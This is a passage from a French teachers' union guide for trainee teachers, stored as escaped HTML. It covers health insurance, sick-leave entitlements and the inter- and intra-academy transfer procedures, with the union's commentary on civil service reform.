titularis\u00e9 avant d\u2019avoir accompli la p\u00e9riode compl\u00e9mentaire de stage qui est n\u00e9cessaire pour atteindre la dur\u00e9e normale du stage.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-40\"><\/a><em>Sant\u00e9<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">S\u00e9curit\u00e9 sociale<\/h4>\n<p>D\u00e8s votre affectation en qualit\u00e9 de stagiaire ou de titulaire, vous relevez pour la S\u00e9curit\u00e9 sociale, du r\u00e9gime des fonctionnaires auquel vous \u00eates affili\u00e9(e) obligatoirement.<\/p>\n<p>La MGEN est, d\u00e8s l\u2019origine, la mutuelle professionnelle des personnels de l\u2019\u00c9ducation nationale. Depuis 1947, elle g\u00e8re \u00ab\u00a0par d\u00e9l\u00e9gation\u00a0\u00bb leur r\u00e9gime obligatoire d\u2019assurance maladie. Vous d\u00e9pendez de la section MGEN du d\u00e9partement o\u00f9 vous exercez pour tout ce qui touche \u00e0 la maladie, \u00e0 la maternit\u00e9, \u00e0 l\u2019hospitalisation\u2026<\/p>\n<p>Cependant les d\u00e9marches d\u2019inscription aupr\u00e8s de la caisse de \u00ab\u00a0S\u00e9cu\u00a0\u00bb vous incombent et sont mises en place de mani\u00e8re diff\u00e9rente dans les acad\u00e9mies. Il vous faudra donc contacter la MGEN de votre d\u00e9partement pour votre inscription. C\u2019est votre section MGEN qui g\u00e9rera la mise \u00e0 jour de votre nouvelle carte Vitale.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Mutuelle<\/h4>\n<p>La \u00ab\u00a0S\u00e9cu\u00a0\u00bb ne remboursant pas les frais de sant\u00e9 \u00e0 100\u00a0%, il est n\u00e9cessaire d\u2019adh\u00e9rer \u00e0 une assurance compl\u00e9mentaire pour \u00eatre mieux prot\u00e9g\u00e9(e). Outre les remboursements compl\u00e9mentaires (m\u00e9dicaments, consultations), certaines compl\u00e9mentaires, dont la MGEN, proposent <strong>une couverture pr\u00e9voyance comprenant des allocations journali\u00e8res compl\u00e9mentaires en cas de passage \u00e0 mi-traitement lors d\u2019un cong\u00e9 maladie.<\/strong><\/p>\n<p>La MGEN a \u00e9t\u00e9 \u00e0 nouveau r\u00e9f\u00e9renc\u00e9e par le minist\u00e8re de l\u2019\u00c9ducation nationale en 2017 au titre de la couverture compl\u00e9mentaire sant\u00e9 et pr\u00e9voyance.<\/p>\n<p><strong>Attention\u00a0:<\/strong> Certains stagiaires couverts par la compl\u00e9mentaire sant\u00e9 obligatoire de leur conjoint peuvent souscrire en parall\u00e8le un contrat en pr\u00e9voyance uniquement. C\u2019est \u00e0 cette condition qu\u2019ils peuvent aussi b\u00e9n\u00e9ficier des allocations journali\u00e8res en cas de cong\u00e9 longue maladie. Voir avec la section d\u00e9partementale MGEN correspondante pour la mise en \u0153uvre de ces allocations journali\u00e8res en cas de besoin.<\/p>\n<p>Les agents sont libres du choix de leur compl\u00e9mentaire, qui n\u2019est pas obligatoire, qu\u2019elle soit r\u00e9f\u00e9renc\u00e9e ou non. Si vous choisissez la MGEN, votre cotisation d\u2019assurance compl\u00e9mentaire est directement pr\u00e9lev\u00e9e par l\u2019employeur qui la reverse \u00e0 la mutuelle.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Cong\u00e9 ordinaire de maladie<\/h4>\n<p>Vous avez droit \u00e0 trois mois \u00e0 plein traitement et neuf mois \u00e0 demi-traitement pendant une p\u00e9riode de douze mois cons\u00e9cutifs appr\u00e9ci\u00e9e au jour le jour sur une p\u00e9riode de r\u00e9f\u00e9rence mobile (exemple : pour un cong\u00e9 d\u00e9marrant le 12\u00a0octobre 2019, l\u2019administration regarde la p\u00e9riode allant du 13\u00a0octobre 2019 au 12\u00a0octobre 2018 inclus pour calculer le nombre de jours de cong\u00e9 maladie dont vous avez d\u00e9j\u00e0 b\u00e9n\u00e9fici\u00e9. Vous percevrez ainsi l\u2019int\u00e9gralit\u00e9 de votre salaire tant que, pendant la p\u00e9riode de r\u00e9f\u00e9rence d\u2019un an pr\u00e9c\u00e9dant le nouveau cong\u00e9, vous n\u2019avez pas b\u00e9n\u00e9fici\u00e9 de trois mois de cong\u00e9 maladie).<\/p>\n<p>Le volet 3 de l\u2019arr\u00eat de travail doit \u00eatre transmis dans les 48\u00a0heures \u00e0 votre sup\u00e9rieur hi\u00e9rarchique. En cas de non-respect sans raisons valables de cette obligation pour la deuxi\u00e8me fois en deux ans, la r\u00e9mun\u00e9ration est r\u00e9duite de moiti\u00e9 entre la date de prescription de l\u2019arr\u00eat et celle de l\u2019envoi effectif.<\/p>\n<p>Depuis le 1er janvier 2018, le principe d\u2019un jour de carence a \u00e9t\u00e9 r\u00e9tabli. Lors d\u2019un arr\u00eat maladie, le premier jour de l\u2019arr\u00eat de travail n\u2019est pas pay\u00e9. Certains cas d\u2019exemption sont pr\u00e9vus (arr\u00eat maladie li\u00e9 \u00e0 une ALD, \u00e0 un accident de service\u2026).<\/p>\n<p>Pour plus d\u2019informations sur le jour de carence, consultez le suppl\u00e9ment salaires ou sur le site du SNES-FSU.<\/p>\n<p>Ce d\u00e9lai de carence n\u2019est pas appliqu\u00e9 lorsque l\u2019arr\u00eat de travail est :<\/p>\n<p>\u2022 la prolongation d\u2019un arr\u00eat initial pour la m\u00eame pathologie et lorsque cet arr\u00eat de prolongation d\u00e9bute au plus tard 48\u00a0heures apr\u00e8s la fin de l\u2019arr\u00eat initial ;<\/p>\n<p>\u2022 cons\u00e9cutif \u00e0 un accident de trajet ou de service ;<\/p>\n<p>\u2022 li\u00e9 \u00e0 des blessures ou une maladie contract\u00e9es ou aggrav\u00e9es en accomplissant un acte de d\u00e9vouement dans un int\u00e9r\u00eat public ou en exposant ses jours pour sauver la vie d\u2019une ou plusieurs personnes ;<\/p>\n<p>\u2022 pris au titre d\u2019une affection de longue dur\u00e9e (le d\u00e9lai de carence ne s\u2019applique dans ce cas qu\u2019une fois au cours d\u2019une m\u00eame p\u00e9riode de trois ans).<\/p>\n<p>Par ailleurs, le d\u00e9lai de carence ne s\u2019applique pas aux cong\u00e9s de maladie accord\u00e9s apr\u00e8s la d\u00e9claration de grossesse et avant le d\u00e9but du cong\u00e9 de maternit\u00e9, ni au cong\u00e9 de maternit\u00e9, ni aux deux cong\u00e9s suppl\u00e9mentaires li\u00e9s \u00e0 un \u00e9tat pathologique r\u00e9sultant de la grossesse ou des suites de couches. Pour ces cong\u00e9s suppl\u00e9mentaires le m\u00e9decin prescripteur doit avoir coch\u00e9 la case pr\u00e9vue \u00e0 cet effet dans les volets nos 2 et 3 du certificat d\u2019arr\u00eat de travail.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Cong\u00e9 de longue maladie<\/h4>\n<p>La dur\u00e9e maximale est de trois ans : un an \u00e0 plein traitement, deux ans \u00e0 demi-traitement sur avis du comit\u00e9 m\u00e9dical en cas de maladie grave \u00addevenue invalidante.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Cong\u00e9 de longue dur\u00e9e<\/h4>\n<p>La dur\u00e9e maximale est de cinq ans : trois ans \u00e0 plein traitement, deux ans \u00e0 demi-traitement sur avis du comit\u00e9 m\u00e9dical pour cinq types de maladie : tuberculose, poliomy\u00e9lite, sida, cancer, maladies mentales.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">TEMPS PARTIEL TH\u00c9RAPEUTIQUE (TPT)<\/h4>\n<p>\u2022 Vous pouvez demander d\u00e8s le d\u00e9but ou \u00e0 l\u2019issue d\u2019un cong\u00e9 de maladie, d\u2019un cong\u00e9 de longue maladie ou un cong\u00e9 de longue dur\u00e9e \u00e0 accomplir un service \u00e0 temps partiel pour raison th\u00e9rapeutique.<\/p>\n<p>Le TPT est accord\u00e9 pour une p\u00e9riode de trois mois renouvelable dans la limite d\u2019un an pour une m\u00eame affection sur l\u2019ensemble de la carri\u00e8re. Pendant cette p\u00e9riode, bien que travaillant \u00e0 temps partiel pour raison th\u00e9rapeutique, vous percevez l\u2019int\u00e9gralit\u00e9 de votre traitement\u00a0pendant toute la dur\u00e9e du TPT.<\/p>\n<p>\u2022 Vous devez demander l\u2019autorisation de travailler \u00e0 temps partiel pour raison th\u00e9rapeutique, ce courrier est accompagn\u00e9 d\u2019un certificat m\u00e9dical favorable \u00e9tabli par votre m\u00e9decin traitant. Elle est accord\u00e9e apr\u00e8s avis concordant du m\u00e9decin agr\u00e9\u00e9 par l\u2019administration. Lorsque les avis du m\u00e9decin traitant et du m\u00e9decin agr\u00e9\u00e9 ne sont pas concordants, le comit\u00e9 m\u00e9dical comp\u00e9tent (ou la commission de r\u00e9forme comp\u00e9tente en cas d\u2019accident de service) est saisi. Ce temps partiel th\u00e9rapeutique ne peut, en aucun cas, \u00eatre inf\u00e9rieur au mi-temps.<\/p>\n<p>La nouveaut\u00e9 consiste en la disparition de la condition de dur\u00e9e 6 mois pour le cong\u00e9 de maladie ordinaire pr\u00e9c\u00e9dent le d\u00e9but du TPT et en l\u2019absence du passage en comit\u00e9 m\u00e9dical en cas d\u2019accord entre le m\u00e9decin traitant et le m\u00e9decin agr\u00e9\u00e9.<\/p>\n<p><strong>Textes de r\u00e9f\u00e9rence<\/strong><\/p>\n<p>\u2022 <a href=\"https:\/\/www.legifrance.gouv.fr\/loda\/article_lc\/LEGIARTI000033899080\/\">Loi 84-16 article 34 bis<\/a>, modifi\u00e9 par l\u2019ordonnance n\u00b0 2017-53 du 19\u00a0janvier 2017 \u2013 art. 8.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Accident de service et de trajet<\/h4>\n<p>Il s\u2019agit :<\/p>\n<p>\u2022 soit d\u2019un accident survenu, quelle qu\u2019en soit la cause, dans le temps et le lieu du service, dans l\u2019exercice ou \u00e0 l\u2019occasion de l\u2019exercice par le fonctionnaire de ses fonctions ou d\u2019une activit\u00e9 qui en constitue le prolongement normal (sortie \u00e9ducative, voyage scolaire, visite de stage, correction d\u2019examen, jury de d\u00e9lib\u00e9ration de bac, etc., et avec ordre de mission). Il faut demander la reconnaissance en accident de service m\u00eame lorsqu\u2019il n\u2019y a pas d\u2019arr\u00eat de travail ;<\/p>\n<p>\u2022 soit d\u2019un accident de trajet qui se produit sur le parcours habituel entre le lieu o\u00f9 s\u2019accomplit votre service et votre r\u00e9sidence ou son lieu de restauration et pendant la dur\u00e9e normale pour l\u2019effectuer.<\/p>\n<p>Il doit \u00eatre d\u00e9clar\u00e9 sur un formulaire sp\u00e9cifique, qui peut \u00eatre remis par le chef d\u2019\u00e9tablissement mais qui doit aussi \u00eatre t\u00e9l\u00e9chargeable sur le site de l\u2019acad\u00e9mie et sur le site de la Fonction publique.<\/p>\n<p>L\u2019administration n\u2019a pas le droit de vous refuser la liasse ou sa transmission au service des accidents de travail.<\/p>\n<p>Les frais m\u00e9dicaux sont int\u00e9gralement pris en charge \u00e0 condition qu\u2019ils restent dans les plafonds de la S\u00e9curit\u00e9 sociale. En cas de s\u00e9quelles reconnues avec un taux d\u2019invalidit\u00e9 permanente sup\u00e9rieur \u00e0 10\u00a0%, une allocation peut vous \u00eatre vers\u00e9e.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Expiration du cong\u00e9 pour raison de sant\u00e9<\/h4>\n<p>Le fonctionnaire stagiaire qui est inapte \u00e0 reprendre ses fonctions \u00e0 \u00adl\u2019expiration d\u2019un cong\u00e9 pour raison de sant\u00e9 est plac\u00e9 en cong\u00e9 sans \u00adtraitement pour une p\u00e9riode maximale d\u2019un an renouvelable deux fois.<\/p>\n<p>\u00c0 l\u2019expiration des droits \u00e0 cong\u00e9 avec traitement ou d\u2019une p\u00e9riode de cong\u00e9 sans traitement accord\u00e9s pour raison de sant\u00e9, le fonctionnaire peut \u00eatre reconnu par la commission de r\u00e9forme dans l\u2019impossibilit\u00e9 d\u00e9finitive et absolue de reprendre ses fonctions.<\/p>\n<h2><a name=\"menu-41\"><\/a><strong>Chapitre 7 \u2013 D\u00c8S NOVEMBRE, pr\u00e9parer son ann\u00e9e de titulaire<\/strong><\/h2>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-42\"><\/a><strong><em>OBTENIR SON PREMIER POSTE DE TITULAIRE<\/em><\/strong><\/h3>\n<p>\u00c0 l\u2019issue de l\u2019ann\u00e9e de stage, sous r\u00e9serve de titularisation, vous devez recevoir une affectation sur poste d\u00e9finitif (en \u00e9tablissement ou sur une zone de remplacement) : vous devez donc participer aux deux phases, INTER et INTRA, du mouvement, c\u2019est-\u00e0-dire aux op\u00e9rations communes de premi\u00e8re affectation des stagiaires et de mutation des titulaires.<\/p>\n<p class=\"has-vivid-green-cyan-color has-text-color\">N.B. Depuis plusieurs ann\u00e9es la date limite de prise en compte des situations familiales \u2013 mariage et PACS notamment \u2013 est le 1er septembre de l\u2019ann\u00e9e scolaire en cours.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">LE CADRAGE R\u00c9GLEMENTAIRE<\/h4>\n<p>\u00c0 compter du mouvement 2020, au pr\u00e9texte de compenser la perte de comp\u00e9tence des commissions administratives paritaires \u2013 CAP \u2013 (Cf. infra \u00ab\u00a0vous d\u00e9fendre\u00a0\u00bb), le minist\u00e8re d\u00e9finit des lignes directrices de gestion (LDG) pluriannuelles en mati\u00e8re de mobilit\u00e9. Celles-ci d\u00e9terminent les orientations g\u00e9n\u00e9rales en mati\u00e8re de mobilit\u00e9 des personnels et les proc\u00e9dures de gestion des demandes individuelles pour le mouvement interacad\u00e9mique. Elles sont d\u00e9clin\u00e9es dans des LDG acad\u00e9miques cadrant les proc\u00e9dures individuelles pour le mouvement intra-acad\u00e9mique. Ces LDG sont pr\u00e9cis\u00e9es par des notes de services annuelles.<\/p>\n<p>Au niveau national, la note de service para\u00eet au Bulletin officiel de l\u2019\u00c9ducation nationale (BO) habituellement d\u00e9but novembre. Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU publient alors L\u2019US sp\u00e9ciale mutations, qui est une r\u00e9f\u00e9rence en la mati\u00e8re.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">COMMENT SE D\u00c9ROULE LE MOUVEMENT ?<\/h4>\n<p>Le mouvement se fait en deux temps : une phase interacad\u00e9mique (pour obtenir une acad\u00e9mie) puis une phase intra-acad\u00e9mique (pour obtenir un poste en \u00e9tablissement ou sur Zone de remplacement (ZR) au sein de l\u2019acad\u00e9mie obtenue lors de la phase pr\u00e9c\u00e9dente).<\/p>\n<p>Pour ces deux phases, les demandes se font par Internet par le portail \u00ab I-Prof \u00bb. Un accus\u00e9 de r\u00e9ception papier vous est adress\u00e9 dans votre \u00e9tablissement de stage \u00e0 l\u2019issue de la saisie. Vous pouvez encore modifier vos voeux sur cet accus\u00e9 de r\u00e9ception et il est fortement conseill\u00e9 d\u2019en conserver une copie et d\u2019en envoyer une avec votre fiche syndicale au SNES-FSU, SNEP-FSU ou SNUEP-FSU de votre acad\u00e9mie d\u2019affectation en tant que stagiaire pour la phase inter ou de l\u2019acad\u00e9mie obtenue lors de l\u2019inter pour la phase intra.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>En d\u00e9posant et en faisant voter la loi dite de \u00ab\u00a0transformation de la Fonction publique\u00a0\u00bb, le gouvernement a fait le choix de saper l\u2019un des fondements de notre Fonction publique\u00a0: la participation des fonctionnaires, par l\u2019interm\u00e9diaire de leurs \u00e9lus si\u00e9geant dans des organismes consultatifs \u00e0 l\u2019organisation et au fonctionnement des services publics, \u00e0 l\u2019\u00e9laboration des r\u00e8gles statutaires, [\u2026] et \u00e0 l\u2019examen de d\u00e9cisions individuelles (art. 9 de la loi 83-634 portant statut g\u00e9n\u00e9ral des fonctionnaires). Est ainsi mise en \u0153uvre une volont\u00e9 manag\u00e9riale d\u2019individualisation de la gestion des personnels l\u00e0 o\u00f9 l\u2019action au service du public, sans passe-droit ni pression, exige unit\u00e9 des personnels et travail collectif. La FSU continue de combattre cette loi, y compris dans ses d\u00e9clinaisons r\u00e9glementaires.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">VOUS D\u00c9FENDRE<\/h4>\n<p>Depuis le mouvement 2020, la loi dite de transformation de la Fonction publique promulgu\u00e9e en ao\u00fbt 2019 a priv\u00e9 les CAP de leurs comp\u00e9tences en mati\u00e8re de mobilit\u00e9. En cons\u00e9quence, les \u00e9lus dans ces commissions ne sont plus en capacit\u00e9 de rep\u00e9rer et de corriger les erreurs de l\u2019administration et d\u2019am\u00e9liorer le mouvement en permettant \u00e0 un plus grand nombre de participer d\u2019obtenir une meilleure mutation ou affectation. Toutefois, d\u2019autres possibilit\u00e9s de recours, moins \u00e9tendues, ont \u00e9t\u00e9 mises en place. Le SNES-FSU, le SNEP-FSU et le SNUEP-FSU mettent tout en \u0153uvre pour que vous ne vous retrouviez pas seul face \u00e0 l\u2019administration. Leurs militants et leurs \u00e9lus, dont l\u2019expertise en mati\u00e8re de mouvement n\u2019est plus \u00e0 d\u00e9montrer, vous accompagnent et vous conseillent \u00e0 chacune des \u00e9tapes du mouvement\u00a0: formulation de vos voeux la plus pertinente possible pour avoir le plus de chances d\u2019obtenir ce que vous souhaitez, accompagnement individualis\u00e9 dans la v\u00e9rification de vos bar\u00e8mes, formulation d\u2019un recours aupr\u00e8s de l\u2019administration si le r\u00e9sultat que vous obtenez ne vous satisfait pas. Les r\u00e8gles qui r\u00e9gissent le mouvement sont complexes ; n\u2019h\u00e9sitez pas \u00e0 vous adresser \u00e0 ceux qui les ma\u00eetrisent : ce ne sont ni les chefs d\u2019\u00e9tablissement, ni les formateurs, ni les inspecteurs ; adressez-vous au SNES-FSU, au SNEP-FSU et au SNUEP-FSU.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">UN BAR\u00c8ME<\/h4>\n<p>L\u2019\u00e9l\u00e9ment qui d\u00e9partage les coll\u00e8gues est un bar\u00e8me qui prend en compte de mani\u00e8re chiffr\u00e9e un certain nombre d\u2019\u00e9l\u00e9ments de leur situation personnelle : il permet d\u2019\u00e9viter que les mutations aient lieu arbitrairement. Cependant, il ne prend pas toujours en compte de mani\u00e8re tr\u00e8s fine toute la diversit\u00e9 des situations administratives, personnelles et familiales. La loi 2016-483 donne une assise l\u00e9gale aux \u00e9l\u00e9ments composant le bar\u00e8me. Chaque ann\u00e9e les syndicats de la FSU font des propositions d\u2019am\u00e9lioration du bar\u00e8me. En 2015, ils ont obtenu que la bonification d\u2019ex-non-titulaire de l\u2019\u00c9N soit progressive en fonction de l\u2019\u00e9chelon de classement\u00a0; en 2016, que la bonification de 0,1 point sur l\u2019acad\u00e9mie de stage soit aussi attribu\u00e9e sur l\u2019acad\u00e9mie de r\u00e9ussite au concours (pour les trois acad\u00e9mies d\u2019\u00cele-de-France, cette bonification porte sur les trois acad\u00e9mies d\u00e8s lors qu\u2019elles sont demand\u00e9es). Ils ont aussi obtenu que les EAP qui ont accompli deux ann\u00e9es de contrat b\u00e9n\u00e9ficient de la m\u00eame bonification que les contractuels, soit 100 points (en lieu et place des 50 points accord\u00e9s aux stagiaires des concours r\u00e9nov\u00e9s). En 2018, ils ont obtenu la prise en compte de l\u2019autorit\u00e9 parentale conjointe, pour les parents s\u00e9par\u00e9s.<\/p>\n<p>Suite aux demandes r\u00e9p\u00e9t\u00e9es du SNES-FSU, du SNEP-FSU et du SNUEP-FSU, le minist\u00e8re a proc\u00e9d\u00e9 \u00e0 un r\u00e9\u00e9quilibrage du bar\u00e8me pour le mouvement 2019 avec comme objectif de permettre \u00e0 tout participant d\u2019esp\u00e9rer obtenir la mutation qu\u2019il souhaite dans un d\u00e9lai raisonnable.<\/p>\n<p>En 2019, le minist\u00e8re a d\u00e9cid\u00e9 de fa\u00e7on unilat\u00e9rale de baisser la bonification stagiaires, valable une fois sur les trois premi\u00e8res ann\u00e9es, de cinquante points \u00e0 dix points. L\u2019amendement pr\u00e9sent\u00e9 au CT minist\u00e9riel par la FSU afin qu\u2019une clause de sauvegarde soit mise en \u0153uvre n\u2019a pas \u00e9t\u00e9 retenu par l\u2019administration.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Contre notre avis et celui d\u2019une majorit\u00e9 des coll\u00e8gues, le minist\u00e8re a d\u00e9cid\u00e9 en 1998 de bouleverser les r\u00e8gles du mouvement qui est ainsi devenu \u00ab d\u00e9concentr\u00e9 \u00bb (affectation en deux \u00e9tapes : sur une acad\u00e9mie puis sur un poste). Officiellement, il s\u2019agissait de rendre la gestion \u00ab plus humaine \u00bb et plus proche des personnels. Pourtant, comme nous l\u2019avions pr\u00e9vu, ce mouvement en deux temps entra\u00eene une r\u00e9duction de la mobilit\u00e9 des titulaires (mutation qui, lorsqu\u2019on change d\u2019acad\u00e9mie, ne permet pas de choisir le type d\u2019\u00e9tablissement et\/ou la zone g\u00e9ographique souhait\u00e9e, dite \u00ab mutation en aveugle \u00bb). Nous demandons le retour \u00e0 un mouvement national en une seule phase (affectation directe sur un poste), avec l\u2019implantation de nombreux postes et les recrutements n\u00e9cessaires, dans un cadre paritaire renforc\u00e9.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">LA PHASE INTERACAD\u00c9MIQUE<\/h4>\n<p>C\u2019est la premi\u00e8re phase du mouvement. Il s\u2019agit d\u2019obtenir une acad\u00e9mie. Fin novembre-d\u00e9but d\u00e9cembre, vous devrez formuler des v\u0153ux, chaque v\u0153u portant sur une acad\u00e9mie. \u00c0 l\u2019issue de cette phase, vous obtiendrez forc\u00e9ment une acad\u00e9mie. Il est donc important de bien formuler ses v\u0153ux, afin de ne pas subir la table d\u2019extension d\u00e9finie par le minist\u00e8re (c\u2019est-\u00e0-dire une affectation selon les besoins de service, en dehors de vos v\u0153ux). Le bar\u00e8me calcul\u00e9 par l\u2019administration pour chacun de vos v\u0153ux vous sera communiqu\u00e9 au mois de janvier avec possibilit\u00e9 de le contester. Les r\u00e9sultats de la phase inter sont connus en mars. Vous devez ensuite imp\u00e9rativement participer au mouvement intra-acad\u00e9mique (cf. infra). En parall\u00e8le, vous pouvez formuler un recours contre votre affectation. \u00c0 chaque \u00e9tape, nous vous invitons \u00e0 contacter la section acad\u00e9mique de nos syndicats pour obtenir des conseils.<\/p>\n<p>Si le r\u00e9sultat que vous obtenez ne vous satisfait pas, vous pouvez vous faire accompagner par le SNES-FSU, le SNEP-FSU ou le SNUEP-FSU dans le cadre de votre recours aupr\u00e8s de l\u2019administration. En vous adressant \u00e0 l\u2019un des syndicats de la FSU, vous avez la garantie d\u2019\u00eatre repr\u00e9sent\u00e9-e aupr\u00e8s de l\u2019administration par des experts du mouvement. Il n\u2019est pas conseill\u00e9 de vous lancer seul dans les proc\u00e9dures de recours.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">LA PHASE INTRA-ACAD\u00c9MIQUE<\/h4>\n<p>Il s\u2019agit, \u00e0 l\u2019int\u00e9rieur de l\u2019acad\u00e9mie obtenue \u00e0 l\u2019inter, de formuler des v\u0153ux, afin d\u2019\u00eatre affect\u00e9 sur poste d\u00e9finitif (en \u00e9tablissement ou sur zone de remplacement). Le nombre de v\u0153ux \u00e0 formuler (\u00e9tablissement(s), commune(s), groupe(s) de communes, d\u00e9partement(s), zone(s) de remplacement) est fix\u00e9 par chaque recteur (en g\u00e9n\u00e9ral, vingt v\u0153ux possibles).<\/p>\n<p>Attention, vous disposez de deux-trois semaines pour formuler vos v\u0153ux pour la phase intra-acad\u00e9mique.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>La volont\u00e9 du minist\u00e8re, \u00e0 l\u2019\u0153uvre depuis 2004 et renforc\u00e9e avec la mise en \u0153uvre de la loi dite de transformation de la Fonction publique, de ne donner que des orientations g\u00e9n\u00e9rales pour l\u2019organisation des mouvements intra aurait pu conduire \u00e0 l\u2019\u00e9laboration de trente-et-un mouvements acad\u00e9miques. Gr\u00e2ce au travail de nos \u00e9lus acad\u00e9miques et nationaux, les diff\u00e9rences entre les mouvements intra-acad\u00e9miques ont \u00e9t\u00e9 aussi limit\u00e9es que possible.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"has-vivid-green-cyan-color has-text-color\">N.B. Gr\u00e2ce au travail de nos \u00e9lus acad\u00e9miques et nationaux, les diff\u00e9rences entre les mouvements intra-acad\u00e9miques ont \u00e9t\u00e9 aussi limit\u00e9es que possible.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">SERAI-JE AFFECT\u00c9 DANS MES V\u0152UX ?<\/h4>\n<p>\u00c0 l\u2019inter, comme \u00e0 l\u2019intra, vos v\u0153ux sont examin\u00e9s dans l\u2019ordre o\u00f9 vous les avez formul\u00e9s, en fonction des possibilit\u00e9s d\u2019affectation et de votre bar\u00e8me. Si aucun de vos v\u0153ux ne peut \u00eatre satisfait, comme vous devez absolument \u00eatre affect\u00e9-e, l\u2019administration proc\u00e9dera \u00e0 une \u00ab\u00a0extension\u00a0\u00bb de vos v\u0153ux, jusqu\u2019\u00e0 ce qu\u2019elle trouve une affectation que votre bar\u00e8me vous permet d\u2019obtenir. Pour le mouvement inter, les modalit\u00e9s d\u2019extension de v\u0153ux sont d\u00e9finies dans la note de service minist\u00e9rielle, sous forme d\u2019une liste d\u2019acad\u00e9mies \u00e9tudi\u00e9e en fonction de votre v\u0153u 1.<\/p>\n<p>Pour le mouvement intra, elles sont d\u00e9finies par la circulaire rectorale (se renseigner aupr\u00e8s du SNES-FSU, SNEP-FSU ou SNUEP-FSU de votre acad\u00e9mie d\u2019arriv\u00e9e).<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Sachez, en tout cas, que les \u00e9lus du SNES-FSU, SNEP-FSU et SNUEP-FSU sont \u00e0 votre disposition pour vous aider \u00e0 formuler le type de demande et les v\u0153ux correspondant au mieux \u00e0 votre situation personnelle ; prenez \u00e9galement attentivement connaissance des publications sp\u00e9ciales mutations que nos sections acad\u00e9miques \u00e9ditent chaque ann\u00e9e. Remplir son dossier n\u2019est pas une mince affaire et l\u2019administration ren\u00e2cle \u00e0 rectifier les erreurs et \u00e0 modifier les dossiers apr\u00e8s la date limite. Or, chaque ann\u00e9e, des coll\u00e8gues mal inform\u00e9s se trompent dans leur type de demandes ou dans leurs v\u0153ux et perdent ainsi des points pr\u00e9cieux ! Participez aux r\u00e9unions mutations que nous organisons au moment du d\u00e9p\u00f4t des demandes.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Et si je suis affect\u00e9 sur zone de remplacement (TZR) ?<\/h4>\n<p>Vous pourrez soit effectuer des remplacements de courte et moyenne dur\u00e9e, soit \u00eatre affect\u00e9(e) sur un poste provisoirement vacant pour l\u2019ann\u00e9e scolaire compl\u00e8te. Quelle que soit votre situation comme TZR, le M\u00e9mo TZR est un outil indispensable.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Depuis plusieurs ann\u00e9es, les jeunes coll\u00e8gues en situation de remplacement ont \u00e9t\u00e9 les victimes d\u2019une forte offensive de d\u00e9r\u00e9glementation : affectation hors zone, remise en cause du paiement de l\u2019ISSR, absence de forfait AS en EPS\u2026 Le minist\u00e8re a encourag\u00e9 ces d\u00e9rives rectorales.\u2008Mais la publication des textes sur les ORS en ao\u00fbt 2014 permet de mieux faire respecter les droits des coll\u00e8gues. Il est n\u00e9anmoins vivement conseill\u00e9 de participer aux actions organis\u00e9es dans les acad\u00e9mies par nos syndicats, notamment les stages syndicaux. Nous avons \u00e9galement obtenu que les TZR (titulaires sur zone de remplacement) puissent formuler des v\u0153ux \u00e0 l\u2019int\u00e9rieur de leur zone ; l\u2019administration les qualifie de \u00ab\u00a0pr\u00e9f\u00e9rences\u00a0\u00bb. Renseignez-vous aupr\u00e8s de la section syndicale de votre acad\u00e9mie. Pour nous, le remplacement constitue un besoin permanent du service public. Cela signifie qu\u2019il doit \u00eatre assur\u00e9 par des titulaires dont c\u2019est la mission, les TZR, et non par des coll\u00e8gues en poste dans les \u00e9tablissements ou par des non-titulaires. Les fonctions de TZR doivent \u00eatre rendues plus \u00adattractives par un ensemble de mesures diversifi\u00e9es : respect des qualifications, am\u00e9lioration des affectations, r\u00e9duction de la taille des zones, revalorisation des indemnit\u00e9s, reconnaissance de la p\u00e9nibilit\u00e9 de la fonction dans le bar\u00e8me de mutation (la plupart des acad\u00e9mies en tiennent compte \u00e0 l\u2019intra mais le minist\u00e8re se refuse \u00e0 le faire \u00e0 l\u2019inter).<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">J\u2019\u00e9tais titulaire avant l\u2019ann\u00e9e de stage : ai-je des garanties ?<\/h4>\n<p>Ceux d\u2019entre vous qui \u00e9taient auparavant titulaires d\u2019un corps enseignant, CPE ou Psy-\u00c9N sont maintenus, s\u2019ils le souhaitent, dans l\u2019acad\u00e9mie o\u00f9 ils \u00e9taient pr\u00e9c\u00e9demment titulaires. Ils ne sont donc pas oblig\u00e9s de participer \u00e0 la phase inter (sauf \u00e0 vouloir changer d\u2019acad\u00e9mie). Ils devront simplement participer \u00e0 la phase intra.<\/p>\n<p>Les stagiaires ex-titulaires d\u2019autres corps de la Fonction publique, quant \u00e0 eux, 